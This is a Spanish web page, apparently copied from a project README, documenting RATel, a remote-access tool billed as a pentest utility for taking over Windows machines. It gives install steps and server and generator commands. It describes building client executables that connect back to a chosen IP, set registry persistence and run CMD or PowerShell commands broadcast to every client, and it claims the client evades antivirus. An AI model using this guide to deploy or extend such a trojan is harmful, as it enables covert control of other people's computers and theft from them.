RAT-el (o RATel) es una herramienta de pruebas de penetración de código abierto que permite tomar el control de una máquina Windows. Funciona en el modelo cliente-servidor, el servidor envía comandos y el cliente ejecuta los comandos y envía el resultado de vuelta al servidor. El cliente es completamente indetectable por el software antivirus.
Características
RATelServer:
- Conexiones múltiples
- Transmisión de comandos a todos los clientes
- Almacena la información de los clientes en la base de datos
- Cifrado de datos en la red mediante XOR
- Sistema de gestión de tokens para identificar a los clientes
Cliente:
- Cifrado de los datos enviados por la red
- Persistencia de la puesta en marcha
- Ejecución de comandos remotos a través de CMD
- Ejecución de comandos remotos a través de Powershell
- Cifrado de datos en la red mediante XOR
- Persistencia automática al ejecutar el cliente
- Reconexión automática
RATelGenerator:
- Compilación automática del cliente
Instalación
En Linux
Esta documentación está basada en una configuración de Debian, así que los pasos de esta documentación serán idénticos para las distribuciones derivadas de Debian como Kali Linux, Ubuntu, Tails, PureOSl, etc. No he hecho documentación para otras distribuciones, pero el principio sigue siendo el mismo. (Si utilizas otra distribución, puedes dejar tus dudas en los comentarios)
- Primer paso: Descargar e instalar Git, Python3 y MinGw.
Para evitar cualquier problema, actualiza tu sistema.
sudo apt-get update && sudo apt-get upgrade
Instala Git, Python3, Pip3 y Mingw-w64:
sudo apt-get install git python3 python3-pip mingw-w64
- Segundo paso: Clonar el repositorio RATel.
git clone https://github.com/FrenchCisco/RATel
- Tercer paso: Instalar las dependencias para Python3.
Ve a la carpeta “RATel/setup” e instala las dependencias.
cd RATel/setup
pip3 install -r requirement.txt
En Windows
Instalación y configuración de todas las dependencias en Windows:
- Primer paso: Descargar e instalar Python3 y MinGw.
Si quieres compilar RATs (cliente) desde Windows, debes tener MinGw en tu máquina.
- Dirígete aquí luego descarga e instala MinGwInstaller.
- Una vez instalado MinGwInstaller, ejecuta MinGwInstaller luego marca “mingw32-gcc-g++“, luego haz clic en “Installation” luego haz clic en “Changes“.
- Una vez instaladas todas las dependencias de MinGw, copia la ruta de la carpeta donde se encuentran normalmente los binarios de MinGw a “C:\MinGw\bin” y guarda esta carpeta en la variable de sistema PATH.
Python3:
Debes tener Python3 en tu máquina, porque el servidor (RATelServer.py) y el generador (RATelGenerator.py) están codificados en Python3.
- Dirígete aquí para descargar Python 3 según tu arquitectura.
- Instala Python3.
- Asegúrate de que Python y G++ (MinGw) pueden ejecutarse desde el comando de Windows, si uno de los programas no se ejecuta, añade la ruta del programa a la variable PATH de tu sistema.
- Segundo paso: Descarga el repositorio RATel.
- Dirígete aquí
- Haz clic en “Code” y luego en “Download ZIP“.
- Una vez descargado el repositorio, debes obtener un archivo zip.
- Extrae el archivo zip.
- Tercer paso: Ejecutar win_setup.py
- Dirígete a la carpeta “RATel” previamente descargada y descomprímala.
- A continuación, ejecuta el script “win_setup.py”.
- El script “win_setup.py” permite instalar todas las librerías de Python, y luego comprobar si MinGw y Python son accesibles desde el comando de Windows.
Si obtienes “Finished installation” significa que todas las dependencias del proyecto RATel están instaladas en tu máquina. Si obtienes un mensaje de error, revisa todos los pasos mencionados anteriormente en este tutorial. Si aún así obtienes un mensaje de error, por favor déjame una salida del error en la sección de issues.
RATelServer
Esta documentación explica el funcionamiento del servidor (RATelServer.py) y sus funcionalidades.
Cuando se conecta un nuevo cliente al servidor, el cliente envía la primera información: el token, la carpeta RAT actual, los derechos de usuario y el login del usuario. Este paso se llama HANDSHAKE.
A cada nuevo cliente, el servidor le asigna un ID que se presenta como número de sesión. Una vez finalizado el HANDSHAKE, el servidor almacena toda la información recibida (número de sesión, dirección IP, puerto, ruta de la RAT, derechos del usuario y login del usuario) en una base de datos SQLite.
Esto permite, en caso de problemas de red o de otro tipo, identificar y reconectar a los clientes con el servidor.
Argumentos
Argumento | Sintaxis | Ejemplo | Comentario |
---|---|---|---|
-i / –ip | --ip <ip of server> | -i 127.0.0.1 | La dirección IP del servidor, esto es útil si tienes varias direcciones IP. |
-p / –port | `–port “ | --port 4444 | El puerto de escucha del servidor. |
-t / –time | --time <seconds> | --time 120 | El número de segundos que se envía automáticamente un mensaje para comprobar si la conexión está viva o muerta. |
-pa /–password | --password <your password> | --password ciscoTheBoss | La contraseña para cifrar y descifrar los datos en la red. Si la contraseña no es la misma que la del cliente, será imposible desencriptar los mensajes. |
-c / –clean | --clean | --clean | Limpia todos los datos de la base de datos SQLite. |
-d / –display | --display | --display | Desactiva la visualización de la información del cliente (cierre de sesión y conexión entrante). |
-h / –help | --help | --help | mostrar este mensaje de ayuda |
- Ejemplo de Comando: Este comando permite escuchar en el puerto 8888, desencriptar y encriptar los datos con la contraseña de LinuxIsBestOS, hacer ping al cliente cada 2 minutos y borrar los datos de la base de datos.
/usr/bin/python3 RATelServer.py --port 8888 --password LinuxIsBestOS --time 120 --clean
RATelServer funciona con un sistema de modos. Cada modo tiene sus comandos específicos
Uso de RATelServer
- Modo principal (Main mode):
El modo principal es el modo principal del servidor. Te permite hacer muchas cosas como:
Argumento | Sintaxis | Comentario |
---|---|---|
-h / –help | --help | Muestra todos los comandos del modo principal. |
-ls / –list | --list | Muestra todos los clientes con su información. |
-t / –target | --target <session_ID> | Este comando permite seleccionar un cliente (Session Mode). |
-cde / –connectionDisplayEnable | -cde | Habilitar la visualización de información sobre el cliente (conexión y desconexión). |
-cdd / –connectionDisplayDisable | -cdd | Desactivar la visualización de la información del cliente (conexión y desconexión). |
–broadcast | --broadcast | Inicia el broadcast mode. |
–exit | --exit | Detener el servidor. |
- Modo de sesión (Session mode):
El modo sesión permite seleccionar una sesión (cliente) e interactuar con ella, por ejemplo Ejecutar un comando, iniciar la persistencia, etc.
Argumento | Sintaxis | Comentario |
---|---|---|
-h / –help | --help | Muestra todos los comandos del modo principal. |
-c | -c <"command"> | Ejecuta un comando en todos los clientes y no envía el resultado (no olvides poner el comando entre comillas). |
–command | --command | Inicia un símbolo del sistema (cmd .exe) en la máquina remota. |
–powershell | --powershell | Inicia un comando Powershell (powershell.exe) en la máquina remota. |
–persistence | --persistence | Hace que el cliente sea persistente al inicio cambiando las claves del registro |
–destruction | --destruction | Borra y desconecta a todos los clientes. |
–disconnection | --disconnection | Próximamente. |
-b / –back | --back | Volver al menú. |
- Modo de difusión (Broadcast mode):
El modo broadcast permite enviar una orden a todos los clientes.
Argument | Syntax | Commant |
---|---|---|
-h / –help | --help | Displays all session mode commands. |
-ls / –list | --list | Starts a command prompt (cmd .exe) on the remote machine. |
-c | -c <"command"> | Executes a command on all clients and does not send the result (don’t forget to put the command in quotation marks). |
–persistence | --persistence | Makes all clients persistent at startup by modifying the registry keys. |
–destruction | --destruction | Removes all clients on all clients and cuts connections. |
–disconnection | --disconnection | Comming soon. |
-b / –back | --back | Back to menu. |
Ejemplo de comando: Envía a todos los clientes la orden explorer.exe
broadcast> -c "explorer.exe"
Uso de RATelGenerator
Esta documentación explica el funcionamiento del generador (RATelGenerator.py) y sus argumentos.
RATelGenerator permite compilar RATs (cliente), los RATs son compilados con Mingw.
El script tiene en cuenta muchos argumentos, lo que permite tener un control más amplio y específico de acuerdo a tu situación o requerimiento.
El comportamiento del RAT cambia según los argumentos pasados. El único argumento obligatorio es IP para determinar a qué dirección IP intentará conectarse la RAT.
Argumentos:
Argumento | Sintaxis | Ejemplo | Comentario |
---|---|---|---|
-h / –help | --help | --help | Mostrar este mensaje de ayuda |
-a / –auto | --auto | --auto | Activa el modo de persistencia en cuanto se ejecuta el cliente. |
-p / –port | --port <port> | --port 8888 | El número de puerto al que debe conectarse el cliente. |
-i / –ip | --ip <address ip> | --ip 192.168.1.32 | La dirección IP del servidor. |
-r / –reconnect | --reconnect <time> | --reconnect 10 | El número de tiempos de espera entre cada intento de reconexión al servidor (en segundos). |
-n / –name | --name <name of rat> | --name my_rat.exe | El nombre del RAT. |
-rs / –registry | --registry <name> | --registry win_key | El nombre del valor de la cadena de la clave para la persistencia. |
-pa / –password | --password <password> | --password linusIsBestOS | La contraseña para cifrar y descifrar datos en la red. |
Ejemplo:
/usr/bin/python3 RATelGenerator.py --ip 192.168.1.34 --port 8888 --name RATclient.exe --password linuxIsBestOS
LEE ESTO PARA UN EJEMPLO DE USO.
RATel (este enlace se abre en una nueva ventana) por FrenchCisco (este enlace se abre en una nueva ventana)
RAT-el is an open source penetration test tool that allows you to take control of a windows machine. It works on the client-server model, the server sends commands and the client executes the commands and sends the result back to the server. The client is completely undetectable by anti-virus software.